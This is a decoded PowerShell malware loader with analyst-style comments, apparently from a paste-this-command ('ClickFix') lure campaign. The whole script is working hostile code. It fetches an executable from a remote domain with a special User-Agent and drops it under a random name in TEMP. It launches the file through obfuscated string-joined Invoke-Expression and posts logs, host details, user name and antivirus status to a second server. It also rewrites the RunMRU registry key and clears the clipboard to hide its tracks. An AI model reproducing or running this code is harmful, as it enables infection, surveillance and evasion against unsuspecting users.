<# Begin decoded script #>
$httpClient = [System.Net.WebClient]::new() # .Net object for interacting with web protocols
$httpClient.Headers.Add("User-Agent", "loader") # The special User-Agent string needed to access the loader
# This url is inaccessible without proper headers
$downloadUrl = "https://smartlifeshift.com/share/d8b1ada29c970ccb93d7b18440237ffa5fea3da99abb3f93c3d451cd23432769.exe"
$uploadUrl = "https://security.clodufshield.com/0B94e3C4b5A6f7E8d9C0b1A2f3EA54bf"
# Function to randomly name the downloaded executable
function Get-RandomString {
    param (
        [int]$length = 8
    )
    -join (Get-Random -Count $length -InputObject ([char[]]"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"))
}
$randomFileName = (Get-RandomString) + ".exe" # Set the random executable name
$archivePath = Join-Path -Path $env:TEMP -ChildPath $randomFileName # Place the executable in the user's temp folder
$extractionDir = Join-Path -Path $env:TEMP -ChildPath ([guid]::NewGuid().ToString()) # Extraction location
$processId = [guid]::NewGuid().ToString() # Generates a process ID to pass to the loader
$logFilePath = Join-Path -Path $env:TEMP -ChildPath ([guid]::NewGuid().ToString() + ".log") # Helpful log files!
# Attempt to download the loader. If this fails, hit the first catch condition
try {
    $httpClient.DownloadFile($downloadUrl, $archivePath) # Download loader
    $executablePath = $archivePath 
    Rename-Item -Path $archivePath -NewName $executablePath # rename download to random name 
    $activeProcesses = Get-Process | Where-Object { 
        $_.Path -eq $executablePath -and $_.CommandLine -match $processId # Use the generated process ID to check if the process is active
    }
    if (-not $activeProcesses) {
        # Attempt to start the loader if it is not running
        try {
            $rages = @(
            'St', 
            'ar', 
            't-', 
            'Pr', 
            'ocess', 
            ' -File', 
            'Path', 
            ' $execu', 
            'tablePath'
            ); 
            $script = $rages -join ''; 
            Invoke-Expression $script
            Add-Content -Path $logFilePath -Value "$(Get-Date): Process ran successfully."
            $logData = Get-Content -Path $logFilePath -Raw
            
            $payload = @{
                logData = $logData
            }
            
            $jsonPayload = $payload | ConvertTo-Json -Depth 4 # Read log data and convert it to JSON 
            $httpClient.Headers.Add("Content-Type", "application/json") 
            $httpClient.UploadString($uploadUrl, "POST", $jsonPayload) # Send log data to the server
        } catch { 
            # If the loader cannot be started, send diagnostic data to server
            function Get-SystemInfo {
                $osInfo = Get-CimInstance -ClassName Win32_OperatingSystem
                $cpuInfo = Get-CimInstance -ClassName Win32_Processor
                $systemInfo = Get-CimInstance -ClassName Win32_ComputerSystem
                # Data gathered
                return [ordered]@{
                    HostName = $env:COMPUTERNAME
                    CurrentUser = $env:USERNAME
                    OSVersion = $osInfo.Version
                    OSName = $osInfo.Caption
                    CPUModel = $cpuInfo.Name
                    TotalMemoryMB = [math]::Round($systemInfo.TotalPhysicalMemory / 1MB)
                    PowerShellVersion = $PSVersionTable.PSVersion.ToString()
                    Architecture = $osInfo.OSArchitecture
                }
            }
            # If the payload fails to run, it will retrieve system info and any installed anti virus and send the data back to the server
            function Get-AVStatus {
                $securityInfo = [ordered]@{ AVProducts = @() }
                try {
                    $avProducts = Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct -ErrorAction SilentlyContinue
                    if ($avProducts) {
                        $securityInfo.AVProducts = $avProducts | ForEach-Object {
                            [ordered]@{
                                Name = $_.displayName
                                State = $_.productState
                                IsActive = ($_.productState -band 0x1000) -eq 0x1000
                                IsUpdated = ($_.productState -band 0x10) -eq 0
                            }
                        }
                    }
                } catch {
                    Write-Output "Failed to retrieve security details"
                }
                return $securityInfo
            }
            $errorPayload = @{
                logData = "Failed to start process: $($_.Exception)"
                systemInfo = Get-SystemInfo
                securityInfo = Get-AVStatus
                status = "error"
            }
            $jsonErrorPayload = $errorPayload | ConvertTo-Json -Depth 4
            $httpClient.Headers.Add("Content-Type", "application/json")
            $httpClient.UploadString($uploadUrl, "POST", $jsonErrorPayload) # Send to server
        }
    }
} catch {
    # Do not run if the loader failed
}
$runMruPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' # This is the recently run hive
$newValue = 'cmd' 
$enableLogging = $true
# Try to replace the last run item in RunMRU with 'cmd' to obfuscate loader execution
try {
    $parameters = Get-ItemProperty -Path $runMruPath -ErrorAction SilentlyContinue
    if ($parameters) {
        $propertyNames = $parameters.PSObject.Properties | Where-Object { $_.Name -ne 'MRUList' -and $_.Name.Length -le 2 } | Select-Object -ExpandProperty Name
        $lastParameterName = $propertyNames | Sort-Object | Select-Object -Last 1
        if ($lastParameterName -and $parameters.PSObject.Properties[$lastParameterName]) { 
            Set-ItemProperty -Path $runMruPath -Name $lastParameterName -Value $newValue -ErrorAction SilentlyContinue 
        }
    }
} catch {
}
# Clear the clipboard to remove the initial copied commands
function Clear-Clipboard {
    Add-Type -AssemblyName System.Windows.Forms
    [System.Windows.Forms.Clipboard]::Clear()
}